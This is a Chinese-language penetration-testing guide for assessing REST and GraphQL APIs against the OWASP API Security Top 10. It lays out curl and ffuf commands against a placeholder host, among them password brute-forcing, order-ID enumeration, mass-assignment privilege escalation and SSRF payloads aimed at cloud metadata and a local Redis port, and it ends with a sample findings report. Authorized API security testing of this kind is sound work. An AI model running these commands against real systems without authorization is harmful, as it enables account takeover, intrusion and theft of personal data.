| name | testing-api-security-with-owasp-top-10 |
| description | 使用自动化和手工测试技术,针对 OWASP API 安全 Top 10 风险对 REST 和 GraphQL API 端点进行系统性评估。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","api-security","owasp","rest-api","graphql","burpsuite","postman"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
使用 OWASP Top 10 测试 API 安全(Testing API Security with OWASP Top 10)
适用场景
- 在授权 API 渗透测试项目中
- 评估 REST、GraphQL 或 gRPC API 的安全漏洞时
- 在将新 API 端点部署到生产环境之前
- 对照 OWASP API 安全 Top 10(2023 版)审查 API 安全态势时
- 验证 API 网关安全控制和速率限制有效性时
前置条件
- 授权:明确覆盖所有待测 API 端点的书面测试范围文件
- Burp Suite Professional:用于拦截和修改 API 请求
- Postman:用于组织和执行 API 测试集合
- ffuf:用于 API 端点和参数模糊测试
- curl/httpie:用于手工测试的命令行 HTTP 客户端
- API 文档:Swagger/OpenAPI 规范、GraphQL schema 或 API 文档
- jq:解析 API 响应的 JSON 处理器(
apt install jq)
工作流程
步骤 1 — 发现和映射 API 端点
枚举所有可用 API 端点,了解 API 攻击面。
curl -s "https://api.target.example.com/swagger.json" | jq '.paths | keys[]'
curl -s "https://api.target.example.com/v2/api-docs" | jq '.paths | keys[]'
curl -s "https://api.target.example.com/openapi.yaml"
ffuf -u "https://api.target.example.com/api/v1/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-mc 200,201,204,301,401,403,405 \
-fc 404 \
-H "Content-Type: application/json" \
-o api-enum.json -of json
for v in v1 v2 v3 v4 beta internal admin; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
"https://api.target.example.com/api/$v/users")
echo "$v: $status"
done
for path in graphql graphiql playground query gql; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' \
"https://api.target.example.com/$path")
echo "$path: $status"
done
步骤 2 — 测试 API1 - 对象级授权缺陷(BOLA)
测试用户是否可以通过操控 ID 访问属于其他用户的对象。
TOKEN_A="Bearer eyJhbGciOiJIUzI1NiIs..."
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101/orders" | jq .
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/102/orders" | jq .
ffuf -u "https://api.target.example.com/api/v1/orders/FUZZ" \
-w <(seq 1 1000) \
-H "Authorization: $TOKEN_A" \
-mc 200 -t 10 -rate 50
步骤 3 — 测试 API2 - 认证缺陷
评估认证机制的安全弱点。
curl -s "https://api.target.example.com/api/v1/users" | jq .
echo "eyJhbGciOiJIUzI1NiIs..." | cut -d. -f2 | base64 -d 2>/dev/null | jq .
ffuf -u "https://api.target.example.com/api/v1/auth/login" \
-X POST -H "Content-Type: application/json" \
-d '{"email":"admin@target.com","password":"FUZZ"}' \
-w /usr/share/seclists/Passwords/Common-Credentials/top-1000.txt \
-mc 200 -t 5 -rate 10
curl -s -X POST "https://api.target.example.com/api/v1/auth/reset" \
-H "Content-Type: application/json" \
-d '{"email":"victim@target.com"}'
步骤 4 — 测试 API3 - 对象属性级授权缺陷
测试过度数据暴露和批量赋值漏洞。
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101" | jq .
curl -s -X PUT \
-H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"name":"Test User","role":"admin","is_admin":true}' \
"https://api.target.example.com/api/v1/users/101" | jq .
curl -s -X PATCH \
-H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"role":"admin","balance":999999}' \
"https://api.target.example.com/api/v1/users/101" | jq .
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101?fields=all" | jq .
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101?include=password,ssn" | jq .
步骤 5 — 测试 API4/API6 - 速率限制和不受限制的敏感流程访问
验证速率限制和资源消耗控制措施。
for i in $(seq 1 100); do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" \
-d '{"email":"test@test.com","password":"wrong"}' \
"https://api.target.example.com/api/v1/auth/login")
echo "尝试 $i:$status"
if [ "$status" == "429" ]; then
echo "在第 $i 次尝试时触发速率限制"
break
fi
done
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users?limit=100000&offset=0" | jq '. | length'
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: $TOKEN_A" \
-d '{"query":"{ users { friends { friends { friends { friends { name } } } } } }"}' \
"https://api.target.example.com/graphql"
for i in $(seq 1 20); do
curl -s -X POST -H "Content-Type: application/json" \
-d '{"phone":"+1234567890"}' \
"https://api.target.example.com/api/v1/auth/send-otp"
done
步骤 6 — 测试 API5 - 功能级授权缺陷
检查通过管理端点实现的权限提升。
ADMIN_ENDPOINTS=(
"/api/v1/admin/users"
"/api/v1/admin/settings"
"/api/v1/admin/logs"
"/api/v1/internal/config"
"/api/v1/users?role=admin"
"/api/v1/admin/export"
)
for endpoint in "${ADMIN_ENDPOINTS[@]}"; do
for method in GET POST PUT DELETE; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X "$method" \
-H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
"https://api.target.example.com$endpoint")
if [ "$status" != "403" ] && [ "$status" != "401" ] && [ "$status" != "404" ]; then
echo "潜在问题:$method $endpoint 返回 $status"
fi
done
done
curl -s -X POST -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/admin/users"
步骤 7 — 测试 API7-API10:SSRF、安全配置错误、资产清单和不安全消费
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
"https://api.target.example.com/api/v1/fetch-url"
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"webhook_url":"http://127.0.0.1:6379/"}' \
"https://api.target.example.com/api/v1/webhooks"
curl -s -I -H "Origin: https://evil.example.com" \
"https://api.target.example.com/api/v1/users" | grep -i "access-control"
curl -s -X POST -H "Content-Type: application/json" \
-d '{"invalid": "data' \
"https://api.target.example.com/api/v1/users"
curl -s -I "https://api.target.example.com/api/v1/health" | grep -iE \
"(x-frame|x-content|strict-transport|content-security|x-xss)"
for v in v0 v1 v2 v3; do
curl -s -o /dev/null -w "$v: %{http_code}\n" \
"https://api.target.example.com/api/$v/users"
done
核心概念
| 概念 | 定义 |
|---|
| BOLA(API1) | 对象级授权缺陷 — 访问属于其他用户的对象 |
| 认证缺陷(API2) | 弱认证机制,允许凭证填充或 token 操控 |
| BOPLA(API3) | 对象属性级授权缺陷 — 过度数据暴露或批量赋值 |
| 不受限资源消耗(API4) | 缺少速率限制,导致 DoS 或暴力破解攻击 |
| 功能级授权缺陷(API5) | 普通用户访问管理员级 API 功能 |
| SSRF(API7) | 通过接受 URL 的 API 参数实现服务端请求伪造 |
| 安全配置错误(API8) | 缺少安全头部、详细错误信息、过于宽松的 CORS |
| 不当资产管理(API9) | 未记录、已废弃或隐藏的 API 端点仍暴露在外 |
工具与系统
| 工具 | 用途 |
|---|
| Burp Suite Professional | API 拦截、扫描和手工测试 |
| Postman | API 集合管理和自动化测试执行 |
| ffuf | API 端点和参数模糊测试 |
| Kiterunner | 使用常见 API 路径模式进行 API 端点发现 |
| jwt_tool | JWT token 分析、操控和攻击自动化 |
| GraphQL Voyager | GraphQL schema 可视化和内省分析 |
| Arjun | API 端点的 HTTP 参数发现 |
常见场景
场景 1:电商 API 中的 BOLA
用户 A 可通过更改 /api/v1/orders/{id} 中的订单 ID 访问用户 B 的订单详情。API 仅检查认证,未在对象级别进行授权校验。
场景 2:用户资料中的批量赋值
用户更新端点接受 JSON 体中的 role 字段。通过在资料更新请求中添加 "role":"admin",普通用户可将自己提权为管理员。
场景 3:通过废弃 API 版本绕过限制
/api/v2/users 端点有正确的速率限制,但仍可访问的 /api/v1/users 没有速率限制。攻击者使用旧版本暴力破解凭证。
场景 4:GraphQL 内省数据泄露
生产环境启用了 GraphQL 内省,暴露了整个 schema,包括内部查询、变更操作以及前端未使用的敏感字段名称。
输出格式
## API 安全评估报告
**目标**:api.target.example.com
**API 类型**:REST(OpenAPI 3.0)
**评估日期**:2024-01-15
**OWASP API 安全 Top 10(2023)覆盖情况**
| 风险 | 状态 | 严重性 | 详情 |
|------|--------|----------|---------|
| API1:BOLA | 存在漏洞 | 严重 | /api/v1/orders/{id} — IDOR 已确认 |
| API2:认证缺陷 | 存在漏洞 | 高危 | /auth/login 无速率限制 |
| API3:BOPLA | 存在漏洞 | 高危 | 用户角色可通过批量赋值修改 |
| API4:资源消耗 | 存在漏洞 | 中危 | 无分页限制 |
| API5:功能级授权 | 通过 | - | 管理端点已正确限制 |
| API6:不受限敏感流程 | 存在漏洞 | 中危 | OTP 端点缺少速率限制 |
| API7:SSRF | 通过 | - | URL 参数已正确验证 |
| API8:安全配置错误 | 存在漏洞 | 中危 | 错误响应包含详细堆栈跟踪 |
| API9:不当资产管理 | 存在漏洞 | 低危 | API v1 仍可访问但无文档 |
| API10:不安全消费 | 未测试 | - | 未发现第三方 API 集成 |
### 严重发现:订单 API 中的 BOLA
已认证用户可通过遍历订单 ID 访问任意订单。
测试范围:1-1000,847 个有效订单可被访问。
PII 泄露:姓名、地址、支付详情。